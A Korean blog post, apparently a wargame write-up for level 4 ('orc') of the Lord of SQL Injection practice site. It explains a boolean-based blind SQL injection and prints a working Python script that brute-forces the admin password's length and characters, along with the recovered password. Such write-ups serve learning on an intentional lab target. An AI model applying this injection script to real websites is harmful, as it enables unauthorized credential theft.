본문 바로가기

Wargame/Lord Of SQL injection (eagle-jump)

[LOS] 4번 orc







이번 문제는 orc이다.





이 문제는 admin의 pw를 알아내야 해결할 수 있는 문제이다. 






쿼리문을 이용해 pw의 길이를 알아냈다.


8글자이다.





위의 쿼리문처럼 참이 되는 경우를 알아내며 admin의 pw를 찾아낼 수 있다.


찾아낸 pw는 295d5844 이다.


하나하나 다 찾기 힘들면 파이썬으로 코드를 작성할 수 있다.





1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
 
URL = 'http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php'
head = {'cookie' : ' '}
 
def matching(num) :
    for i in range(1,num+1) :
        for j in range(32,127) :
            params = {'pw' : '\' or id=\'admin\' and ascii(substr(pw,%d,1))=\'%d' %(i, j)}
            res = requests.get(url=URL, params=params, headers=head)
            if("Hello admin" in res.text) :
                print chr(j),
                break
 
for a in range(1,30) :
    params_length = {'pw' : '\' or id=\'admin\' and length(pw)=\'%d' %a}
    res_length = requests.get(url=URL, params=params_length, headers=head)
    if("Hello admin" in res_length.text) :
        print(a)
        matching(a)
        break
cs




먼저 pw의 길이를 알아낸 후 pw를 알아낸다.







pw는 295d5844 이다.




주소창에 ?pw=295d5844 를 입력해주면 쿼리문이 다음과 같이 된다.





문제 해결

'Wargame > Lord Of SQL injection (eagle-jump)' 카테고리의 다른 글

[LOS] 6번 darkelf  (0) 2017.08.14
[LOS] 5번 wolfman  (0) 2017.08.14
[LOS] 3번 goblin  (0) 2017.08.02
[LOS] 2번 cobolt  (0) 2017.08.02
[LOS] 1번 gremlin  (0) 2017.08.02